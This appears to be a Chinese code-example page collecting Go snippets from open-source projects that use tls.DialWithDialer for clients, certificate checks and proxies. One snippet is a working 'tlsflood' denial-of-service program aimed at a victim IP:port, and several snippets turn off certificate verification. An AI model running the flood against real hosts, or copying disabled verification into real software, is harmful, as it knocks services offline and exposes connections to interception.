Golang crypto-tls.DialWithDialer类(方法)实例源码

下面列出了Golang crypto-tls.DialWithDialer 类(方法)源码代码实例,从而了解它的用法。

作者:siebenman    项目:cal   
// We accept 'ssl'/'tls' as a protocol; it implies 'tcp' as the underlying
// protocol.
func dial(proto, addr, laddr string, tmout time.Duration) (net.Conn, error) {
	// Set up our dialer options; we may need a local address and/or
	// a connection timeout.
	// TODO: happy eyeballs support, ie dialer.DualStack? This might be
	// worth a command line switch.
	var dialer net.Dialer
	dialer.Timeout = tmout
	if laddr != "" {
		a, e := ResolveAddr(proto, laddr)
		if e != nil {
			return nil, e
		}
		dialer.LocalAddr = a
	}

	switch proto {
	case "ssl", "tls":
		// For testing I do not want to have to verify anything
		// about the target certificates. I have other tools for
		// that.
		cfg := tls.Config{InsecureSkipVerify: true}
		return tls.DialWithDialer(&dialer, "tcp", addr, &cfg)
	case "sslver", "tlsver":
		return tls.DialWithDialer(&dialer, "tcp", addr, nil)
	}
	return dialer.Dial(proto, addr)
}

作者:nathan    项目:cfss   
// SessionResumeScan tests that host is able to resume sessions across all addresses.
func sessionResumeScan(addr, hostname string) (grade Grade, output Output, err error) {
	config := defaultTLSConfig(hostname)
	config.ClientSessionCache = tls.NewLRUClientSessionCache(1)

	conn, err := tls.DialWithDialer(Dialer, Network, addr, config)
	if err != nil {
		return
	}
	if err = conn.Close(); err != nil {
		return
	}

	return multiscan(addr, func(addrport string) (g Grade, o Output, e error) {
		var conn *tls.Conn
		if conn, e = tls.DialWithDialer(Dialer, Network, addrport, config); e != nil {
			return
		}
		conn.Close()

		if o = conn.ConnectionState().DidResume; o.(bool) {
			g = Good
		}
		return
	})
}

作者:hildj    项目:boulde   
// BundleFromRemote fetches the certificate served by the server at
// serverName (or ip, if the ip argument is not the empty string). It
// is expected that the method will be able to make a connection at
// port 443. The certificate used by the server in this connection is
// used to build the bundle, which will necessarily be keyless.
func (b *Bundler) BundleFromRemote(serverName, ip string, flavor BundleFlavor) (*Bundle, error) {
	config := &tls.Config{
		RootCAs:    b.RootPool,
		ServerName: serverName,
	}

	// Dial by IP if present
	var dialName string
	if ip != "" {
		dialName = ip + ":443"
	} else {
		dialName = serverName + ":443"
	}

	log.Debugf("bundling from remote %s", dialName)

	dialer := &net.Dialer{Timeout: time.Duration(5) * time.Second}
	conn, err := tls.DialWithDialer(dialer, "tcp", dialName, config)
	var dialError string
	// If there's an error in tls.Dial, try again with
	// InsecureSkipVerify to fetch the remote bundle to (re-)bundle
	// with. If the bundle is indeed not usable (expired, mismatched
	// hostnames, etc.), report the error.  Otherwise, create a
	// working bundle and insert the tls error in the bundle.Status.
	if err != nil {
		log.Debugf("dial failed: %v", err)
		// record the error msg
		dialError = fmt.Sprintf("Failed rigid TLS handshake with %s: %v", dialName, err)
		// dial again with InsecureSkipVerify
		log.Debugf("try again with InsecureSkipVerify.")
		config.InsecureSkipVerify = true
		conn, err = tls.DialWithDialer(dialer, "tcp", dialName, config)
		if err != nil {
			log.Debugf("dial with InsecureSkipVerify failed: %v", err)
			return nil, errors.Wrap(errors.DialError, errors.Unknown, err)
		}
	}

	connState := conn.ConnectionState()

	certs := connState.PeerCertificates

	err = conn.VerifyHostname(serverName)
	if err != nil {
		log.Debugf("failed to verify hostname: %v", err)
		return nil, errors.Wrap(errors.CertificateError, errors.VerifyFailed, err)
	}

	// Bundle with remote certs. Inject the initial dial error, if any, to the status reporting.
	bundle, err := b.Bundle(certs, nil, flavor)
	if err != nil {
		return nil, err
	} else if dialError != "" {
		bundle.Status.Messages = append(bundle.Status.Messages, dialError)
	}
	return bundle, err
}

作者:mozill    项目:tls-observator   
//retrieveCertFromHost checks the host connectivity and returns the certificate chain ( if any ) provided
//by the domain or an error in every other case.
func retrieveCertFromHost(domainName, port string, skipVerify bool) ([]*x509.Certificate, string, error) {

	config := tls.Config{InsecureSkipVerify: skipVerify}

	canonicalName := domainName + ":" + port

	ip := ""

	dialer := &net.Dialer{
		Timeout: 10 * time.Second,
	}

	conn, err := tls.DialWithDialer(dialer, "tcp", canonicalName, &config)

	if err != nil {
		return nil, ip, err
	}
	defer conn.Close()

	ip = strings.TrimSuffix(conn.RemoteAddr().String(), ":443")

	certs := conn.ConnectionState().PeerCertificates

	if certs == nil {
		return nil, ip, errors.New("Could not get server's certificate from the TLS connection.")
	}

	return certs, ip, nil
}

作者:artyo    项目:certchec   
// getChain returns chain of certificates retrieved from TLS session
// established at given addr (host:port) for hostname provided. If addr is
// empty, then hostname:443 is used.
func getChain(hostname, addr string) ([]*x509.Certificate, error) {
	if hostname == "" {
		return nil, errors.New("empty hostname")
	}
	var (
		conn *tls.Conn
		err  error
	)
	type tempErr interface {
		Temporary() bool
	}
	conf := &tls.Config{ServerName: hostname}
	if addr == "" {
		addr = hostname + ":443"
	}
	dialer := &net.Dialer{
		Timeout: 30 * time.Second,
	}
	for i := 0; i < 3; i++ {
		if i > 0 {
			time.Sleep(time.Duration(i) * time.Second)
		}
		conn, err = tls.DialWithDialer(dialer, "tcp", addr, conf)
		if e, ok := err.(tempErr); ok && e.Temporary() {
			continue
		}
		if err != nil {
			return nil, err
		}
		defer conn.Close()
		return conn.ConnectionState().PeerCertificates, nil
	}
	return nil, err
}

作者:hartsoc    项目:machin   
func ValidateCertificate(addr, caCertPath, serverCertPath, serverKeyPath string) (bool, error) {
	caCert, err := ioutil.ReadFile(caCertPath)
	if err != nil {
		return false, err
	}

	serverCert, err := ioutil.ReadFile(serverCertPath)
	if err != nil {
		return false, err
	}

	serverKey, err := ioutil.ReadFile(serverKeyPath)
	if err != nil {
		return false, err
	}

	tlsConfig, err := getTLSConfig(caCert, serverCert, serverKey, false)
	if err != nil {
		return false, err
	}

	dialer := &net.Dialer{
		Timeout: time.Second * 2,
	}

	_, err = tls.DialWithDialer(dialer, "tcp", addr, tlsConfig)
	if err != nil {
		return false, nil
	}

	return true, nil
}

作者:justinki    项目:yullibo   
// Connect opens a socket to the server specified by the Connection and
// identifies using the desired nick, ident, and realname.
func (irc *Connection) Connect() error {
	var conn net.Conn
	var err error

	address := fmt.Sprintf("%s:%d", irc.Host, irc.Port)
	irc.Logf("Connecting to [%s]", address)

	// Connect to the server or timeout.
	if irc.UseTLS {
		// Unfortunately, there is no tls.DialTimeout, so we must use
		// a Dialer with DialWithDialer.
		dialer := &net.Dialer{Timeout: connectTimeout}
		tlsConfig := &tls.Config{}
		conn, err = tls.DialWithDialer(dialer, "tcp", address, tlsConfig)
	} else {
		conn, err = net.DialTimeout("tcp", address, connectTimeout)
	}

	if err != nil {
		irc.Log("unable to connect:", err)
		return err
	}

	irc.Logf("Connection to host at [%s] established\n", conn.RemoteAddr())

	irc.Active = true
	irc.conn = conn
	irc.lastRecv = time.Now()
	irc.scanner = bufio.NewScanner(irc.conn)

	irc.Nickify(irc.Nick)
	irc.Sendf("USER %s %s * :%s", irc.Ident, irc.Host, irc.RealName)

	return nil
}

作者:stonetingxi    项目:apn   
// Dial устанавливает защищенное соединение с сервером и возвращает его. Время ожидания ответа
// автоматически устанавливается равной TiemoutRead. При желании, вы можете продлевать это время
// самостоятельно после каждого успешного чтения или записи.
func (config *Config) Dial(addr string) (*tls.Conn, error) {
	serverName, _, err := net.SplitHostPort(addr)
	if err != nil {
		return nil, err
	}
	var (
		tslConfig = &tls.Config{
			ServerName: serverName,
			Certificates: []tls.Certificate{
				config.Certificate,
			},
		}
		dialer = &net.Dialer{
			Timeout: TimeoutConnect,
		}
	)
	// устанавливаем защищенное соединение с сервером
	conn, err := tls.DialWithDialer(dialer, "tcp", addr, tslConfig)
	if err != nil {
		return nil, err
	}
	// устанавливаем время ожидания ответа от сервера
	conn.SetReadDeadline(time.Now().Add(TiemoutRead))
	return conn, nil
}

作者:keybas    项目:go-framed-msgpack-rp   
// Dial is an implementation of the ConnectionTransport interface.
func (ct *ConnectionTransportTLS) Dial(ctx context.Context) (
	Transporter, error) {
	var conn net.Conn
	err := runUnlessCanceled(ctx, func() error {
		config := ct.tlsConfig

		// If we didn't specify a tls.Config, but we did specify
		// explicit rootCerts, then populate a new tls.Config here.
		// Otherwise, we're using the defaults via `nil` tls.Config.
		if config == nil && ct.rootCerts != nil {
			// load CA certificate
			certs := x509.NewCertPool()
			if !certs.AppendCertsFromPEM(ct.rootCerts) {
				return errors.New("Unable to load root certificates")
			}
			config = &tls.Config{RootCAs: certs}
		}
		// connect
		var err error
		conn, err = tls.DialWithDialer(&net.Dialer{
			KeepAlive: 10 * time.Second,
		}, "tcp", ct.srvAddr, config)
		return err
	})
	if err != nil {
		return nil, err
	}

	ct.mutex.Lock()
	defer ct.mutex.Unlock()
	transport := NewTransport(conn, ct.logFactory, ct.wef)
	ct.conn = conn
	ct.stagedTransport = transport
	return transport, nil
}

作者:nhooy    项目:do   
func main() {
	log.SetPrefix("")
	log.SetFlags(0)
	if len(os.Args) < 2 {
		log.Fatal("usage: tlsflood <victimIP>:<port>")
	}
	config := &tls.Config{
		InsecureSkipVerify: true,
	}
	dialer := &net.Dialer{}
	var wg sync.WaitGroup
	wg.Add(256)
	for i := 0; i < 256; i++ {
		go func() {
			defer wg.Done()
			for {
				c, err := tls.DialWithDialer(dialer, "tcp", os.Args[1], config)
				if err != nil {
					continue
				}
				c.Close()
			}
		}()

	}
	wg.Wait()
}

作者:koro    项目:go-mqt   
func dial(p Param) (net.Conn, error) {
	u, err := p.url()
	if err != nil {
		return nil, err
	}
	opts := p.options()
	to := opts.ConnectTimeout
	switch u.Scheme {
	case "tcp":
		c, err := net.DialTimeout("tcp", u.Host, to)
		if err != nil {
			return nil, err
		}
		return c, nil
	case "ssl", "tcps", "tls":
		c, err := tls.DialWithDialer(&net.Dialer{Timeout: to},
			"tcp", u.Host, opts.TLSConfig)
		if err != nil {
			return nil, err
		}
		return c, nil
	default:
		return nil, ErrUnknownProtocol
	}
}

作者:splac    项目:gonzbe   
func dialNNTP(timeout time.Duration) (*nntp.Conn, error) {
	dialstr := config.GetAddressStr()
	var err error
	var c net.Conn

	for {
		if config.TLS {
			tlsconfig := &tls.Config{
				InsecureSkipVerify: config.IgnoreCertErrors,
				ServerName:         config.Address,
			}
			d := &net.Dialer{Timeout: timeout}
			c, err = tls.DialWithDialer(d, "tcp", dialstr, tlsconfig)
		} else {
			c, err = net.DialTimeout("tcp", dialstr, timeout)
		}
		if err != nil {
			// if it's a timeout, ignore and try again
			e, ok := err.(net.Error)
			if ok && e.Temporary() {
				continue
			}
			return nil, err
		}
		break
	}
	return nntp.Connect(c, fmt.Sprintf("%s:%s", dialstr, c.LocalAddr()),
		config.Username, config.Password)
}

作者:keybas    项目:kbfs-bet   
// Dial is an implementation of the ConnectionTransport interface.
func (ct *ConnectionTransportTLS) Dial(ctx context.Context) (
	Transporter, error) {
	var conn net.Conn
	err := runUnlessCanceled(ctx, func() error {
		// load CA certificate
		certs := x509.NewCertPool()
		if !certs.AppendCertsFromPEM(ct.rootCerts) {
			return errors.New("Unable to load root certificates")
		}
		// connect
		config := tls.Config{RootCAs: certs}
		var err error
		conn, err = tls.DialWithDialer(&net.Dialer{
			KeepAlive: 10 * time.Second,
		}, "tcp", ct.srvAddr, &config)
		return err
	})
	if err != nil {
		return nil, err
	}

	ct.mutex.Lock()
	defer ct.mutex.Unlock()
	transport := NewTransport(conn, ct.logFactory, ct.wef)
	ct.conn = conn
	ct.stagedTransport = transport
	return transport, nil
}

作者:mbertschle    项目:cockroac   
// tlsDial wraps either net.Dial or crypto/tls.Dial, depending on the contents of
// the passed TLS Config.
func tlsDial(network, address string, timeout time.Duration, config *tls.Config) (net.Conn, error) {
	defaultDialer := net.Dialer{Timeout: timeout}
	if config == nil {
		return defaultDialer.Dial(network, address)
	}
	return tls.DialWithDialer(&defaultDialer, network, address, config)
}

作者:RobW    项目:certhaw   
func main() {
	ripmgr := randip.NewRandIPv4Mgr(true, 1249767200)
	for {
		newIP, err := ripmgr.GetNextIP()
		if err != nil {
			log.Println("IP Addr Exhausted")
			return
		} else {
			go func() {
				log.Println(newIP.String())
				config := tls.Config{InsecureSkipVerify: true, ServerName: "google.com"}
				var err error
				var newConn *tls.Conn
				newConn, err = tls.DialWithDialer(&net.Dialer{Timeout: 2 * time.Second}, "tcp", newIP.String()+":443", &config)
				if err != nil {
					log.Println(err)
				} else {
					conState := newConn.ConnectionState()
					fmt.Println(newConn.RemoteAddr(), conState.PeerCertificates[0].NotBefore, conState.PeerCertificates[0].NotAfter, conState.PeerCertificates[0].SerialNumber)
					//jsonCert,_ := json.MarshalIndent(conState.PeerCertificates[0],""," ")
					//fmt.Println(string(jsonCert))
					newConn.Close()
				}
			}()
		}
	}
}

作者:sunjiah    项目:goprox   
func (d *Dialer) DialTLS(network, address string) (net.Conn, error) {
	switch network {
	case "tcp", "tcp4", "tcp6":
		if host, port, err := net.SplitHostPort(address); err == nil {
			if alias0, ok := d.hosts.Lookup(host); ok {
				alias := alias0.(string)
				if hosts, err := d.iplist.Lookup(alias); err == nil {
					config := &tls.Config{
						InsecureSkipVerify: true,
						ServerName:         address,
					}
					if strings.Contains(address, ".appspot.com") ||
						strings.Contains(address, ".google") ||
						strings.Contains(address, ".gstatic.com") ||
						strings.Contains(address, ".ggpht.com") {
						config.ServerName = "www.bing.com"
						config.CipherSuites = []uint16{tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA}
					}

					addrs := make([]string, len(hosts))
					for i, host := range hosts {
						addrs[i] = net.JoinHostPort(host, port)
					}
					return d.dialMultiTLS(network, addrs, config)
				}
			}
		}
	default:
		break
	}
	return tls.DialWithDialer(&d.Dialer, network, address, d.TLSConfig)
}

作者:XuesongYan    项目:shipyar   
// NewConnection creates a new connection to the database server
func NewConnection(address string, opts *ConnectOpts) (*Connection, error) {
	var err error
	c := &Connection{
		address: address,
		opts:    opts,
		cursors: make(map[int64]*Cursor),
	}
	// Connect to Server
	nd := net.Dialer{Timeout: c.opts.Timeout, KeepAlive: opts.KeepAlivePeriod}
	if c.opts.TLSConfig == nil {
		c.Conn, err = nd.Dial("tcp", address)
	} else {
		c.Conn, err = tls.DialWithDialer(&nd, "tcp", address, c.opts.TLSConfig)
	}
	if err != nil {
		return nil, RQLConnectionError{rqlError(err.Error())}
	}

	// Send handshake
	handshake, err := c.handshake(opts.HandshakeVersion)
	if err != nil {
		return nil, err
	}

	if err = handshake.Send(); err != nil {
		return nil, err
	}

	return c, nil
}

作者:fsoppels    项目:docke   
func sockConn(timeout time.Duration) (net.Conn, error) {
	daemon := daemonHost()
	daemonURL, err := url.Parse(daemon)
	if err != nil {
		return nil, fmt.Errorf("could not parse url %q: %v", daemon, err)
	}

	var c net.Conn
	switch daemonURL.Scheme {
	case "unix":
		return net.DialTimeout(daemonURL.Scheme, daemonURL.Path, timeout)
	case "tcp":
		if os.Getenv("DOCKER_TLS_VERIFY") != "" {
			// Setup the socket TLS configuration.
			tlsConfig, err := getTLSConfig()
			if err != nil {
				return nil, err
			}
			dialer := &net.Dialer{Timeout: timeout}
			return tls.DialWithDialer(dialer, daemonURL.Scheme, daemonURL.Host, tlsConfig)
		}
		return net.DialTimeout(daemonURL.Scheme, daemonURL.Host, timeout)
	default:
		return c, fmt.Errorf("unknown scheme %v (%s)", daemonURL.Scheme, daemon)
	}
}

作者:postfi    项目:name_pendin   
func (c *Client) connect() error {
	c.lock.Lock()
	defer c.lock.Unlock()

	if c.TLS {
		if c.TLSConfig == nil {
			c.TLSConfig = &tls.Config{InsecureSkipVerify: true}
		}

		if conn, err := tls.DialWithDialer(c.dialer, "tcp", c.Server, c.TLSConfig); err != nil {
			return err
		} else {
			c.conn = conn
		}
	} else {
		if conn, err := c.dialer.Dial("tcp", c.Server); err != nil {
			return err
		} else {
			c.conn = conn
		}
	}

	c.connected = true
	c.reader = bufio.NewReader(c.conn)

	c.register()

	c.ready.Add(1)
	go c.send()
	go c.recv()

	return nil
}

作者:xxxlihu    项目:rpc   
// NewDirectRPCClient creates a rpc client
func NewDirectRPCClient(c *Client, clientCodecFunc ClientCodecFunc, network, address string, timeout time.Duration) (*rpc.Client, error) {
	//if network == "http" || network == "https" {
	if network == "http" {
		return NewDirectHTTPRPCClient(c, clientCodecFunc, network, address, "", timeout)
	}

	var conn net.Conn
	var tlsConn *tls.Conn
	var err error

	if c != nil && c.TLSConfig != nil {
		dialer := &net.Dialer{
			Timeout: timeout,
		}
		tlsConn, err = tls.DialWithDialer(dialer, network, address, c.TLSConfig)
		//or conn:= tls.Client(netConn, &config)

		conn = net.Conn(tlsConn)
	} else {
		conn, err = net.DialTimeout(network, address, timeout)
	}

	if err != nil {
		return nil, err
	}

	if c == nil || c.PluginContainer == nil {
		return rpc.NewClientWithCodec(clientCodecFunc(conn)), nil
	}
	return rpc.NewClientWithCodec(newClientCodecWrapper(c.PluginContainer, clientCodecFunc(conn))), nil
}


问题


面经


文章

微信
公众号

扫码关注公众号